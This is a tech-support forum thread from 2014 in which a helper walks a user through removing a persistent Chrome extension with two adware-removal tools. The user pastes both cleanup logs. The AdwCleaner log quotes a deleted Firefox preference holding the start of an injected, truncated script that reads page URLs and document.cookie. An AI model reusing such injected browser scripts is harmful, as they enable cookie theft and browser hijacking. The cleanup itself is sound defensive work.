[theAbsolute]

On Chrome browser I have this wierd extension somehow installed, but I am unable to remove it.

Does someone knows what is it at all and how do I get rid of it?

I've removed it from programs and ofcorse tried deleting from extenstion list, but it's still there.

[Aura]

Download and run Junkware Removal Tool. Once done, copy/paste the content of the output log here.

[theAbsolute]

Here it is:

Code

~~~~~~
Junkware Removal Tool (JRT) by Thisisu
Version: 6.1.4 (04.06.2014:1)
OS: Windows 8.1 Pro x64
Ran by theAbsolute on Sat 08/23/2014 at 17:26:53.00
~~~~~~

~~~ Services

~~~ Registry Values

~~~ Registry Keys

Successfully deleted: [Registry Key] HKEY_CURRENT_USER\Software\anchorfree
Successfully deleted: [Registry Key] HKEY_CURRENT_USER\Software\conduit
Successfully deleted: [Registry Key] HKEY_LOCAL_MACHINE\Software\conduit

~~~ Files

~~~ Folders

~~~ FireFox

Successfully deleted: [File] C:\user.js
Successfully deleted: [File] C:\Users\theAbsolute\AppData\Roaming\mozilla\firefox\profiles\1oir5bwf.default\invalidprefs.js
Successfully deleted the following from C:\Users\theAbsolute\AppData\Roaming\mozilla\firefox\profiles\1oir5bwf.default\prefs.js

~~~ Event Viewer Logs were cleared

~~~~~~
Scan was completed on Sat 08/23/2014 at 17:29:45.54
End of JRT log
~~~~~~

[Aura]

Now download and execute AdwCleaner. Press on Scan, then press on Clean. Once done, restart when asked. Copy/paste the content of the log that will open here.

[theAbsolute]

Done:

Code

# AdwCleaner v3.308 - Report created 23/08/2014 at 17:40:34
# Updated 20/08/2014 by Xplode
# Operating System : Windows 8.1 Pro  (64 bits)
# Username : theAbsolute
# Running from : C:\Users\theAbsolute\Downloads\AdwCleaner.exe
# Option : Clean

***** [ Services ] *****

***** [ Files / Folders ] *****

Folder Deleted : C:\ProgramData\PlutoApp
Folder Deleted : C:\ProgramData\pricceichop
Folder Deleted : C:\Program Files (x86)\pricceichop
Folder Deleted : C:\Windows\SysWOW64\hotspot shield
Folder Deleted : C:\Users\Administrator\AppData\Local\Chromatic Browser
Folder Deleted : C:\Users\Administrator\AppData\Local\torch
Folder Deleted : C:\Users\THEABS~1\AppData\Local\Temp\hotspot shield
Folder Deleted : C:\Users\THEABS~1\AppData\Local\Temp\OCS
Folder Deleted : C:\Users\Guest\AppData\Local\Chromatic Browser
Folder Deleted : C:\Users\Guest\AppData\Local\torch
Folder Deleted : C:\Users\HomeGroupUser$\AppData\Local\Chromatic Browser
Folder Deleted : C:\Users\HomeGroupUser$\AppData\Local\torch
Folder Deleted : C:\Users\theAbsolute\AppData\Local\Chromatic Browser
Folder Deleted : C:\Users\theAbsolute\AppData\Local\torch
Folder Deleted : C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
Folder Deleted : C:\Users\Guest\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
Folder Deleted : C:\Users\HomeGroupUser$\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
Folder Deleted : C:\Users\theAbsolute\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
[!] Folder Deleted : C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
[!] Folder Deleted : C:\Users\Guest\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
[!] Folder Deleted : C:\Users\HomeGroupUser$\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
[!] Folder Deleted : C:\Users\theAbsolute\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
[!] Folder Deleted : C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
[!] Folder Deleted : C:\Users\Guest\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
[!] Folder Deleted : C:\Users\HomeGroupUser$\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
[!] Folder Deleted : C:\Users\theAbsolute\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
[!] Folder Deleted : C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
[!] Folder Deleted : C:\Users\Guest\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
[!] Folder Deleted : C:\Users\HomeGroupUser$\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
[!] Folder Deleted : C:\Users\theAbsolute\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn

***** [ Scheduled Tasks ] *****

***** [ Shortcuts ] *****

***** [ Registry ] *****

Key Deleted : HKCU\Software\Classes\pokki
Key Deleted : HKLM\SOFTWARE\Microsoft\Internet Explorer\Extension Compatibility\{74F475FA-6C75-43BD-AAB9-ECDA6184F600}
Key Deleted : HKCU\Software\AppDataLow\{5F189DF5-2D05-472B-9091-84D9848AE48B}
Key Deleted : [x64] HKLM\SOFTWARE\Classes\CLSID\{A75BE48D-BF58-4A8B-B96C-F9A09DFB9844}
Key Deleted : HKCU\Software\OCS
Key Deleted : HKLM\SOFTWARE\{3A7D3E19-1B79-4E4E-BD96-5467DA2C4EF0}
Key Deleted : HKLM\SOFTWARE\{5F189DF5-2D05-472B-9091-84D9848AE48B}
Key Deleted : HKLM\SOFTWARE\{77D46E27-0E41-4478-87A6-AABE6FBCF252}

***** [ Browsers ] *****

-\\ Internet Explorer v11.0.9600.17239

-\\ Mozilla Firefox v31.0 (x86 sr)

[ File : C:\Users\theAbsolute\AppData\Roaming\Mozilla\Firefox\Profiles\1oir5bwf.default\prefs.js ]

Line Deleted : user_pref("extensions.ujRhjkU.scode", "(function(){try{var url=(window.self.location.href + document.cookie);if(url.indexOf(\"acebook\")>-1||url.indexOf(\"warnalert11.com\")>-1||url.indexOf(\"sumorobo[...]

-\\ Google Chrome v36.0.1985.143

[ File : C:\Users\theAbsolute\AppData\Local\Google\Chrome\User Data\Default\preferences ]

Deleted [Extension] : gbnchofeojceihlbjdijfajfnlnggcmn

******

AdwCleaner[R0].txt - [4719 octets] - [23/08/2014 17:36:35]
AdwCleaner[S0].txt - [4650 octets] - [23/08/2014 17:40:34]

###### EOF - C:\AdwCleaner\AdwCleaner[S0].txt - [4710 octets] ######

[Aura]

Good good.
Is that extension still there or not ?

[theAbsolute]

Confirming that it has been deleted.
May I keep these two cleaners, I like them :)

[Aura]

Confirming that it has been deleted.
May I keep these two cleaners, I like them :)

You can keep them, but I would suggest you to only download them when you need them. These tools are getting updated weekly, if not daily, so if you use them in two weeks, you might already be a few versions behind.

[theAbsolute]

Thanks for the tip!
I will do that then.

[Aura]

Thanks for the tip!
I will do that then.

No problem 🙂
Feel free to close this thread now that this issue is solved to prevent spam !